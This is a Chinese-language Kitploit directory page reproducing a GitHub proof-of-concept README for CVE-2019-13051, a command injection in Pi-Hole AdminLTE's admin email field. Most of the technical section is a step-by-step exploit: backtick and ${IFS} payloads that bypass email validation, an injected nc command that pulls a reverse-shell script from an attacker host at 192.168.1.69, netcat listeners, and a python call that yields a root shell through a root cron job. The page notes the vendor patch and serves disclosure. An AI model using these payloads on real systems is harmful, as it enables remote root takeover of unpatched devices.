Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-13051 — 针对 Pi-Hole AdminLTE 命令注入(CVE-2019-13051)的概念验证漏洞利用,通过电子邮件字段注入和基于 cron 的执行实现远程 root 访问。 | Kitploit
工具/GitHubGitHub/pr0tean/cve-2019-13051
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

针对 Pi-Hole AdminLTE 命令注入(CVE-2019-13051)的概念验证漏洞利用,通过电子邮件字段注入和基于 cron 的执行实现远程 root 访问。

查看仓库
20316年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Pi-Hole < 4.3.2 命令注入与权限提升(CVE-2019-13051)

Pi-Hole 4.3.2 版本包含对此漏洞的补丁:https://github.com/pi-hole/AdminLTE/pull/974

非常感谢 Pi-Hole 开发团队,感谢他们出色的项目,并让报告此漏洞变得如此简单!

执行摘要

通过所述“AdminLTE”组件中的漏洞,可以远程获得 RaspberyPi 设备(或应用程序所运行的任何设备/虚拟机)的 root 访问权限。利用此漏洞需要具有 AdminLTE Web 界面的管理访问权限/凭据。

更详细地说,可以绕过正则表达式检查,并用任意命令污染“管理员电子邮件地址”字段。这些命令随后存储在“/etc/pihole/setupVars.conf”中,然后由 10 分钟的 cron.d 任务 “/usr/local/bin/pihole updatechecker local” 以 root 权限解析并执行。

攻击前提条件

  1. 能够访问 Pi-Hole 管理 Web 应用程序(AdminLTE)的网络连接。
  2. 一组 AdminLTE Web 应用程序的凭据。

局限性

攻击者必须等待 cron 任务“/etc/cron.d/pihole”的 10 分钟间隔才能执行命令/代码。

技术描述

希望以下详细信息和 PoC 能帮助您验证和重现该问题。

一旦通过 Web 应用程序的身份验证,攻击者需要绕过一些服务端验证才能成功注入命令。

在“savesettings.php”的 L:499 处,用户控制的变量“$adminemail”会通过 PHP 内置的 FILTER_VALIDATE_EMAIL 函数进行校验,而该校验相对较弱。

因此,只需在一组反引号外加双引号,就可以绕过此验证并证明命令注入,例如,在管理员电子邮件中输入以下内容:

"`test>/tmp/poc_proof.txt`"@example.com

截图 1

10 分钟内,一个由 root 拥有、内容为“test”的文件将以 root 权限在“/tmp/poc_proof.txt”中创建。

截图 2

为了执行任何更有意义的攻击,还需要绕过空格的限制(空格不是有效的电子邮件字符,会被 FILTER_VALIDATE_EMAIL 函数捕获)。为此,利用了 Linux 内部变量 ${IFS}(在大多数 Unix 操作系统中默认为空格)。

PoC:

*注意:这可以使用 POSIX shell 语法(即 &&、|| ...)通过单行命令实现自动化。

  1. 确保您的攻击机器上已准备好脚本传输机制。即在攻击机器上:

nc -nvlp 4444 < revshell.py

  1. 在“管理员电子邮件地址”字段中提交第一条命令,以触发反向 shell Python 脚本的检索并将其存储到“/tmp/revshell.py”:

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

截图 3

使用 HTTP 代理检查时,HTTP 请求将如下所示:

截图 4

等待 10 分钟让 cron 任务运行并抓取脚本;或者出于重现目的,手动运行 /usr/local/bin/pihole updatechecker local。您还可以验证位于“/etc/pihole/setupVars.conf”中的注入命令(可发现其已分配给 ADMIN_EMAIL 变量)。

  1. 确保您已准备好 shell 捕获服务。即在攻击机器上:

nc -nvlp 4445

  1. 最后,您可以提交以下内容:

“`python${IFS}/tmp/revshell.py`”@example.com

再次等待 10 分钟(或为了重现问题而手动执行 cron 脚本),您将获得攻击机器上的 root shell。

截图 1

下载工具